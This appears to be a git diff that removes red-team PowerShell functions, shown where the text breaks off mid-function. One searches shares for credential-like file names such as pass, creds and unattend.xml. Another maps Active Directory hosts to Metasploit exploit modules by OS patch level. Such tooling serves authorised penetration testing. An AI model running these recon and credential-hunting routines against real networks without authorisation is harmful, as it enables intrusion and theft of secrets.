commit
e08625b919
|
@ -102,4 +102,4 @@
|
|||
8/6/2015
|
||||
-----------
|
||||
-Initial release. All components released
|
||||
-Commited path fix to correct bug in certain modules
|
||||
-Commited path fix to correct bug in certain modules
|
File diff suppressed because it is too large
Load Diff
|
@ -1,142 +0,0 @@
|
|||
function Invoke-FileSearch {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Searches a given server/path for files with specific terms in the name.
|
||||
|
||||
.DESCRIPTION
|
||||
This function recursively searches a given UNC path for files with
|
||||
specific keywords in the name (default of pass, sensitive, secret, admin,
|
||||
login and unattend*.xml). The output can be piped out to a csv with the
|
||||
-OutFile flag. By default, hidden files/folders are included in search results.
|
||||
|
||||
.PARAMETER Path
|
||||
UNC/local path to recursively search.
|
||||
|
||||
.PARAMETER Terms
|
||||
Terms to search for.
|
||||
|
||||
.PARAMETER OfficeDocs
|
||||
Search for office documents (*.doc*, *.xls*, *.ppt*)
|
||||
|
||||
.PARAMETER FreshEXES
|
||||
Find .EXEs accessed within the last week.
|
||||
|
||||
.PARAMETER AccessDateLimit
|
||||
Only return files with a LastAccessTime greater than this date value.
|
||||
|
||||
.PARAMETER WriteDateLimit
|
||||
Only return files with a LastWriteTime greater than this date value.
|
||||
|
||||
.PARAMETER CreateDateLimit
|
||||
Only return files with a CreationDate greater than this date value.
|
||||
|
||||
.PARAMETER ExcludeFolders
|
||||
Exclude folders from the search results.
|
||||
|
||||
.PARAMETER ExcludeHidden
|
||||
Exclude hidden files and folders from the search results.
|
||||
|
||||
.PARAMETER CheckWriteAccess
|
||||
Only returns files the current user has write access to.
|
||||
|
||||
.PARAMETER OutFile
|
||||
Output results to a specified csv output file.
|
||||
|
||||
.OUTPUTS
|
||||
The full path, owner, lastaccess time, lastwrite time, and size for
|
||||
each found file.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\
|
||||
Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass',
|
||||
'sensitive', or 'secret' in the title.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
|
||||
Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
|
||||
or 'email' in the title, and writes the results out to a csv file
|
||||
named 'out.csv'
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014
|
||||
Returns all files accessed since 6/1/2014.
|
||||
|
||||
.LINK
|
||||
http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$Path = '.\',
|
||||
|
||||
[string[]]
|
||||
$Terms,
|
||||
|
||||
[Switch]
|
||||
$OfficeDocs,
|
||||
|
||||
[Switch]
|
||||
$FreshEXES,
|
||||
|
||||
[string]
|
||||
$AccessDateLimit = '1/1/1970',
|
||||
|
||||
[string]
|
||||
$WriteDateLimit = '1/1/1970',
|
||||
|
||||
[string]
|
||||
$CreateDateLimit = '1/1/1970',
|
||||
|
||||
[Switch]
|
||||
$ExcludeFolders,
|
||||
|
||||
[Switch]
|
||||
$ExcludeHidden,
|
||||
|
||||
[Switch]
|
||||
$CheckWriteAccess,
|
||||
|
||||
[string]
|
||||
$OutFile
|
||||
)
|
||||
|
||||
begin {
|
||||
# default search terms
|
||||
$SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config')
|
||||
|
||||
# check if custom search terms were passed
|
||||
if ($Terms){
|
||||
if($Terms -isnot [system.array]){
|
||||
$Terms = @($Terms)
|
||||
}
|
||||
$SearchTerms = $Terms
|
||||
}
|
||||
|
||||
# append wildcards to the front and back of all search terms
|
||||
for ($i = 0; $i -lt $SearchTerms.Count; $i++) {
|
||||
$SearchTerms[$i] = "*$($SearchTerms[$i])*"
|
||||
}
|
||||
|
||||
# search just for office documents if specified
|
||||
if ($OfficeDocs){
|
||||
$SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
|
||||
}
|
||||
|
||||
# find .exe's accessed within the last 7 days
|
||||
if($FreshEXES){
|
||||
# get an access time limit of 7 days ago
|
||||
$AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy')
|
||||
$SearchTerms = '*.exe'
|
||||
}
|
||||
}
|
||||
|
||||
process {
|
||||
# build our giant recursive search command w/ conditional options
|
||||
$cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})"
|
||||
|
||||
# execute the command
|
||||
Invoke-Expression $cmd
|
||||
}
|
||||
}
|
|
@ -1,324 +0,0 @@
|
|||
<#
|
||||
.Synopsis
|
||||
This module will query Active Directory for the hostname, OS version, and service pack level
|
||||
for each computer account. That information is then cross-referenced against a list of common
|
||||
Metasploit exploits that can be used during penetration testing.
|
||||
|
||||
.DESCRIPTION
|
||||
This module will query Active Directory for the hostname, OS version, and service pack level
|
||||
for each computer account. That information is then cross-referenced against a list of common
|
||||
Metasploit exploits that can be used during penetration testing. The script filters out disabled
|
||||
domain computers and provides the computer's last logon time to help determine if it's been
|
||||
decommissioned. Also, since the script uses data tables to output affected systems the results
|
||||
can be easily piped to other commands such as test-connection or a Export-Csv.
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows the standard command usage. Disabled system are excluded by default, but
|
||||
the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
|
||||
logged on for two or more weeks it's been decommissioned.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
|
||||
[*] Grabbing computer accounts from Active Directory...
|
||||
[*] Loading exploit list for critical missing patches...
|
||||
[*] Checking computers for vulnerable OS and SP levels...
|
||||
[+] Found 5 potentially vulnerabile systems!
|
||||
|
||||
ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
|
||||
------------ --------------- ----------- --------- --------- ---
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows how to write the output to a csv file.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Export-Csv c:\temp\output.csv -NoTypeInformation
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows how to pipe the resultant list of computer names into the test-connection to determine if they response to ping
|
||||
requests.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Test-Connection
|
||||
|
||||
.LINK
|
||||
http://www.netspi.com
|
||||
|
||||
.NOTES
|
||||
Author: Scott Sutherland - 2015, NetSPI
|
||||
Version: Get-ExploitableSystems.psm1 v1.0
|
||||
Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
|
||||
function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
|
||||
Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
|
||||
|
||||
#>
|
||||
function Get-ExploitableSystems
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
|
||||
[System.Management.Automation.PSCredential]
|
||||
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
|
||||
[string]$DomainController,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]
|
||||
[int]$Limit = 1000,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")]
|
||||
[ValidateSet("Subtree","OneLevel","Base")]
|
||||
[string]$SearchScope = "Subtree",
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Distinguished Name Path to limit search to.")]
|
||||
[string]$SearchDN
|
||||
)
|
||||
Begin
|
||||
{
|
||||
if ($DomainController -and $Credential.GetNetworkCredential().Password)
|
||||
{
|
||||
$objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
$objDomain = [ADSI]""
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||
}
|
||||
}
|
||||
|
||||
Process
|
||||
{
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Grabbing computer accounts from Active Directory..."
|
||||
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table for domain computer information
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table for hostnames, os, and service packs from LDAP
|
||||
$TableAdsComputers = New-Object System.Data.DataTable
|
||||
$TableAdsComputers.Columns.Add('Hostname') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('ServicePack') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('LastLogon') | Out-Null
|
||||
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Grab computer account information from Active Directory via LDAP
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
$CompFilter = "(&(objectCategory=Computer))"
|
||||
$ObjSearcher.PageSize = $Limit
|
||||
$ObjSearcher.Filter = $CompFilter
|
||||
$ObjSearcher.SearchScope = "Subtree"
|
||||
|
||||
if ($SearchDN)
|
||||
{
|
||||
$objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")
|
||||
}
|
||||
|
||||
$ObjSearcher.FindAll() | ForEach-Object {
|
||||
|
||||
# Setup fields
|
||||
$CurrentHost = $($_.properties['dnshostname'])
|
||||
$CurrentOs = $($_.properties['operatingsystem'])
|
||||
$CurrentSp = $($_.properties['operatingsystemservicepack'])
|
||||
$CurrentLast = $($_.properties['lastlogon'])
|
||||
$CurrentUac = $($_.properties['useraccountcontrol'])
|
||||
|
||||
# Convert useraccountcontrol to binary so flags can be checked
|
||||
# http://support.microsoft.com/en-us/kb/305144
|
||||
# http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx
|
||||
$CurrentUacBin = [convert]::ToString($CurrentUac,2)
|
||||
|
||||
# Check the 2nd to last value to determine if its disabled
|
||||
$DisableOffset = $CurrentUacBin.Length - 2
|
||||
$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
|
||||
|
||||
# Add computer to list if it's enabled
|
||||
if ($CurrentDisabled -eq 0){
|
||||
|
||||
# Add domain computer to data table
|
||||
$TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) | Out-Null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Loading exploit list for critical missing patches..."
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table for list of msf exploits
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table for list of patches levels with a MSF exploit
|
||||
$TableExploits = New-Object System.Data.DataTable
|
||||
$TableExploits.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableExploits.Columns.Add('ServicePack') | Out-Null
|
||||
$TableExploits.Columns.Add('MsfModule') | Out-Null
|
||||
$TableExploits.Columns.Add('CVE') | Out-Null
|
||||
|
||||
# Add exploits to data table
|
||||
$TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
|
||||
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Checking computers for vulnerable OS and SP levels..."
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table to store vulnerable systems
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table to house vulnerable server list
|
||||
$TableVulnComputers = New-Object System.Data.DataTable
|
||||
$TableVulnComputers.Columns.Add('ComputerName') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('ServicePack') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('LastLogon') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('MsfModule') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('CVE') | Out-Null
|
||||
|
||||
# Iterate through each exploit
|
||||
$TableExploits |
|
||||
ForEach-Object {
|
||||
|
||||
$ExploitOS = $_.OperatingSystem
|
||||
$ExploitSP = $_.ServicePack
|
||||
$ExploitMsf = $_.MsfModule
|
||||
$ExploitCve = $_.CVE
|
||||
|
||||
# Iterate through each ADS computer
|
||||
$TableAdsComputers |
|
||||
ForEach-Object {
|
||||
|
||||
$AdsHostname = $_.Hostname
|
||||
$AdsOS = $_.OperatingSystem
|
||||
$AdsSP = $_.ServicePack
|
||||
$AdsLast = $_.LastLogon
|
||||
|
||||
# Add exploitable systems to vul computers data table
|
||||
if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ){
|
||||
|
||||
# Add domain computer to data table
|
||||
$TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,[dateTime]::FromFileTime($AdsLast),$ExploitMsf,$ExploitCve) | Out-Null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Display results
|
||||
$VulnComputer = $TableVulnComputers | select ComputerName -Unique | measure
|
||||
$vulnComputerCount = $VulnComputer.Count
|
||||
If ($VulnComputer.Count -gt 0){
|
||||
|
||||
# Return vulnerable server list order with some hack date casting
|
||||
Write-Host "[+] Found $vulnComputerCount potentially vulnerabile systems!"
|
||||
$TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
|
||||
|
||||
}else{
|
||||
|
||||
Write-Host "[-] No vulnerable systems were found."
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
End
|
||||
{
|
||||
|
||||
}
|
||||
}
|
|
@ -1,311 +0,0 @@
|
|||
|
||||
function Test-Server {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Tests a connection to a remote server.
|
||||
|
||||
.DESCRIPTION
|
||||
This function uses either ping (test-connection) or RPC
|
||||
(through WMI) to test connectivity to a remote server.
|
||||
|
||||
.PARAMETER Server
|
||||
The hostname/IP to test connectivity to.
|
||||
|
||||
.OUTPUTS
|
||||
$True/$False
|
||||
|
||||
.EXAMPLE
|
||||
> Test-Server -Server WINDOWS7
|
||||
Tests ping connectivity to the WINDOWS7 server.
|
||||
|
||||
.EXAMPLE
|
||||
> Test-Server -RPC -Server WINDOWS7
|
||||
